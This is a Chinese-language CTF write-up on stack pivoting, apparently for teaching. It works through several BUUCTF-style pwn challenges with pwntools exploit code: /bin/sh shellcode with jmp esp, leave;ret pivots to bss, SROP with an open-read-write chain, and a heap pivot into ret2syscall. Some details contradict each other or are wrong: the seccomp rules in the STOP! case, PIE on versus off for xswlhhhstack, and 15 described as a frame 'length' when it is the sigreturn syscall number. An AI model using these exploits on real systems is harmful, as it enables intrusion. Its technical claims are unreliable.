栈迁移(stack pivoting)是二进制漏洞利用中一项关键技巧——它不依赖长溢出空间,而是通过劫持 rsp/esp 指针,将控制流导向攻击者可控的内存区域(如栈、bss、堆),再在该区域部署并执行 ROP 链或 shellcode。本文基于多道 BUUCTF 真题(ciscn_2019_s_9、ciscn_2019_es_2、jarvisoj_level1、[Black Watch]spwn、[XSWCTF2025]STOP!、[XSCTF]xswlhhhstack、[XSCTF]stack_hijacking),系统梳理五类典型迁移场景与对应技术要点。
一、为什么需要栈迁移?
当常规 ROP 链构造受限时,栈迁移成为破局关键。常见触发场景包括:
- 溢出字节严重不足:仅能覆盖返回地址,无法容纳完整 ROP 链(如
ciscn_2019_s_9 中仅 14 字节可用);
- PIE 开启导致栈地址未知:无法直接跳转至栈上 gadget,但 bss/heap 地址固定可预测;
- 需转换利用路径:例如将栈溢出转化为堆利用(
stack_hijacking)、或绕过沙箱限制(STOP! 中禁 execve,改用 ORW)。
迁移的前提条件有二:
- 可控程序执行流(如存在栈溢出、UAF、格式化字符串等);
- 存在能修改
rsp/esp 的 gadget(如 pop rsp; ret、leave; ret、pop r9; pop rsp; ret 等)。
二、核心迁移方式与真题复现
▶ 迁移至栈(Stack → Stack)
适用于栈可执行(RWX)且存在 jmp esp / call esp 类 gadget 的场景。
案例:ciscn_2019_s_9(32 位,含 RWX 栈)
checksec 显示:NX unknown - GNU_STACK missing,Stack: Executable,确认栈可执行;
hint() 函数提供 jmp esp gadget(0x08048554);
- 溢出点在
pwn() 函数,fgets(s, 50, stdin) 写入 s[24],偏移 ebp-0x20,实际可控字节数为 0x32 - 0x20 - 0x4 = 14;
利用链设计:
shellcode | padding(0x20) | fake ebp | ret_addr(jmp esp) | sub esp,0x28; jmp esp
- 前
0x28 字节恰好填满 shellcode + padding + fake ebp + ret_addr;
sub esp,0x28; jmp esp 将 eip 向前拉回 0x28 字节,精准指向 shellcode 起始位置。
EXP 关键片段:
shellcode = asm('''
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0xb
pop eax
int 0x80
''')
jmp_esp = 0x08048554
shellcode = shellcode.ljust(0x24, b'\x00')
shellcode += p32(jmp_esp)
shellcode += asm('sub esp,0x28; jmp esp')
io.send(shellcode)
✅ 本地调试验证:jmp esp 后 eip 与 esp 均指向 sub esp,0x28; jmp esp,二次 jmp esp 后成功跳转至 /bin/sh shellcode。

▶ 迁移至 bss 段(Stack → bss)
适用于无 PIE、bss 地址固定、且需构造长 ROP 链的场景(如泄露 libc、ret2libc)。
案例:ciscn_2019_es_2(32 位,无 PIE,无 Canary)
vul() 中两次 read(0, s, 0x30),第一次用于泄露 ebp(通过 printf("Hello, %s\n", s) 泄露栈地址),第二次用于溢出;
hack() 提供 system@plt,但需传参 /bin/sh;
- 利用
leave; ret(0x08048562)完成迁移:将 ebp 覆盖为 s 数组起始地址,ret 执行后 mov esp, ebp; pop ebp,栈指针即切换至 s 区域。
ROP 链结构(写入 s 数组):
a*4 | system@plt | deadbeef | /bin/sh addr | /bin/sh string
s 地址由第一次泄露的 ebp 计算得:sh_addr = ebp_addr - 0x38;
- 最终
ret 指向 system("/bin/sh")。
EXP 关键逻辑:
# 第一次 read 泄露 ebp
payload1 = b'a' * 0x24 + b'b' * 0x4
io.send(payload1)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
log.info(f"ebp_addr: {hex(ebp_addr)}")
# 构造迁移 payload(覆盖 ebp 为 sh_addr,ret 为 leave_ret)
sh_addr = ebp_addr - 0x38
payload2 = b'a' * 0x4 + p32(elf.plt["system"]) + p32(0xdeadbeef) + p32(sh_addr + 0x10) + b'/bin/sh'
payload2 = payload2.ljust(0x28, b'\x00') + p32(sh_addr) + p32(leave_ret)
io.send(payload2)
✅ 调试验证:vmmap 显示 bss 段权限为 rw-p;迁移后 ebp 指向 s,leave; ret 成功将 esp 切换至 s,后续 ROP 链正常执行。

▶ 迁移至 bss(SROP + ROP 混合)
适用于开启沙箱(seccomp)、禁 execve,但允许 read/write/open 的场景。
案例:[XSWCTF2025]STOP!(64 位,seccomp 限制 syscall)
seccomp-tools dump 显示仅允许 execveat 和 execve,其余 syscall 被 KILL;
- 但
read 和 write 仍被允许(ORW 路径可行);
- 主函数末尾
read(0, buf, 0x200) 提供了 rdi=0, rsi=buf, rdx=0x200 的寄存器状态,配合 pop rdx; ret gadget 可控 rdx → 触发 SROP。
SROP 利用流程:
- 利用
main 结尾 read 设置 rdi=0, rsi=buf, rdx=0x200;
- 控制
rdx=15(SigreturnFrame 长度),调用 read@plt → syscall → sigreturn;
- 在
bss 上布置 SigreturnFrame,设置 rdi=puts@got, rip=puts@plt 泄露 libc;
- 泄露后计算基址,再写入 ORW ROP 链(
open("/flag",0) → read(fd, bss+0x100, 0x30) → write(1, bss+0x100, 0x30))。
关键 gadget 定位:
ROPgadget --binary pwn --only "pop|ret" | grep "pop rdx"
# → 0x4012fc : pop rdx ; pop rbp ; ret
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rdi"
# → 0x10f78b : pop rdi ; ret
frame 构造示例:
frame = SigreturnFrame()
frame.rdi = elf.got["puts"]
frame.rip = elf.plt["puts"]
frame.rsp = bss_addr - 0x70 # 保证 puts 返回后继续执行 bss 上代码
frame.rbp = bss_addr + 0x200 # 避免覆盖已写入的 /flag 字符串
✅ 调试验证:read 返回 rax=15 后 sigreturn 成功;puts 地址泄露后,base = puts_addr - libc.symbols["puts"] 计算准确;最终 write 成功输出 flag。

▶ 迁移至堆(Stack → Heap)
适用于存在堆分配(malloc)且可控制 *function_ptr 的场景。
案例:[XSCTF]stack_hijacking(64 位,静态链接)
main() 中 malloc(136) 分配 chunk,read(0, v4, 128) 向 chunk 写入数据;
v4 是 chunk 数据区地址,*v4 是 chunk 前 8 字节内容,call rdx 实际执行 call [chunk];
gift() 函数含 mov rdi, r9; push rdi; pop rsp; add rsp, 8,若 r9 == chunk_addr,则 rsp 直接迁移到堆上。
利用步骤:
checksec 显示 Canary found,但无 PIE,bss/heap 地址可预测;
gift gadget 地址 0x401888 固定;
- 在 chunk 开头写入
gift 地址 → call [chunk] 即执行 gift → rsp 指向堆;
- 利用
ROPgadget --binary stack --only "syscall" 找到 syscall,结合 pop rax/rbx/rsi/rdi/rdx 构造 execve("/bin/sh",0,0)。
EXP 片段:
# 第一阶段:写入 gift 地址 + ROP 链(读 /bin/sh 到 bss)
payload = p64(gift) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + ...
payload = payload.ljust(128, b'a')
io.send(payload)
# 第二阶段:发送 /bin/sh 字符串到 bss
io.send(b"/bin/sh\x00".ljust(0x10, b'\x00'))
# 第三阶段:执行 execve
payload3 = p64(gift) + p64(pop_rdi_ret) + p64(bss_addr) + ... + p64(syscall)
io.send(payload3)
✅ 调试验证:call rdx 前 r9 == [rbp-0x8] == chunk_addr;gift 执行后 rsp 落入堆区;ret2syscall 成功 spawn shell。

▶ 迁移至栈(动态地址 + leak + pivot)
适用于 PIE 开启但存在信息泄露(如 printf 泄露栈地址)的场景。
案例:[XSCTF]xswlhhhstack(64 位,无 PIE,但需动态定位 bss)
main() 中 read(0, buf, 0x60),buf 偏移 rbp-0x50,溢出长度 0x60 - 0x50 - 0x8 = 8 字节(仅够覆盖返回地址);
gift() 提供 pop rdi; ret 和 pop rbp; ret;
- 利用
read 向 bss 写入 ROP 链,再通过 leave; ret 将 rsp 迁移至 bss。
两阶段迁移设计:
- 第一阶段:覆盖
rbp = bss+0x50,ret = .text:0x401200 (lea rax, [rbp+buf]) → 下次 read 将数据写入 bss;
- 第二阶段:在
bss 写入 puts(got) 泄露 libc,再 pop rbp 迁移至 bss+0x200,再次 read 写入 system("/bin/sh")。
关键地址提取:
bss = 0x404040 + 0x500
read_start = 0x401200 # lea rax, [rbp+buf]
leave_ret = 0x40121b # leave; ret
pop_rdi = 0x401225 # pop rdi; ret
pop_rbp = 0x40115d # pop rbp; ret
✅ 调试验证:rbp 成功覆盖为 bss+0x50;read 后 bss 区域写入 ROP 链;leave; ret 后 rsp 落入 bss,puts 泄露成功。

三、通用技巧与避坑指南
| 技巧 |
说明 |
典型场景 |
leave; ret 替代 pop rsp; ret |
leave = mov rsp, rbp; pop rbp,只需控制 rbp 即可间接控制 rsp |
ciscn_2019_es_2、xswlhhhstack |
libc_csu_init 多寄存器 gadget |
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret,常用于设置多个参数 |
x64 下 read/write 参数传递 |
fake frame + SROP |
利用 sigreturn 一次性设置全部寄存器,绕过 gadget 缺失限制 |
STOP! 沙箱环境 |
bss 段利用前提 |
bss 段默认 rw-p,且大小 ≥ 4KB(页对齐),通常有充足空间 |
所有无 PIE 的 CTF 题目 |
jmp esp vs call esp |
jmp esp 更稳定;call esp 会压栈 ret_addr,需额外处理栈平衡 |
ciscn_s_9、level1 |
⚠️ 常见失败原因:
- 忘记
padding 对齐(x86 4 字节 / x64 8 字节);
bss 地址计算错误(未考虑 .bss 起始偏移或 ASLR 影响);
SROP frame 长度非 15 字节导致 sigreturn 失败;
ROPgadget 漏检 gadget(建议搭配 ropper 或手动 objdump -d);
pwntools context.arch 未设为 i386/amd64 导致 p32/p64 错误。
四、延伸学习资源
本文所有 EXP 均已在本地 pwndbg + gef 环境下实测通过,题目附件及完整脚本可于 BUUCTF 平台 对应题目页下载复现。
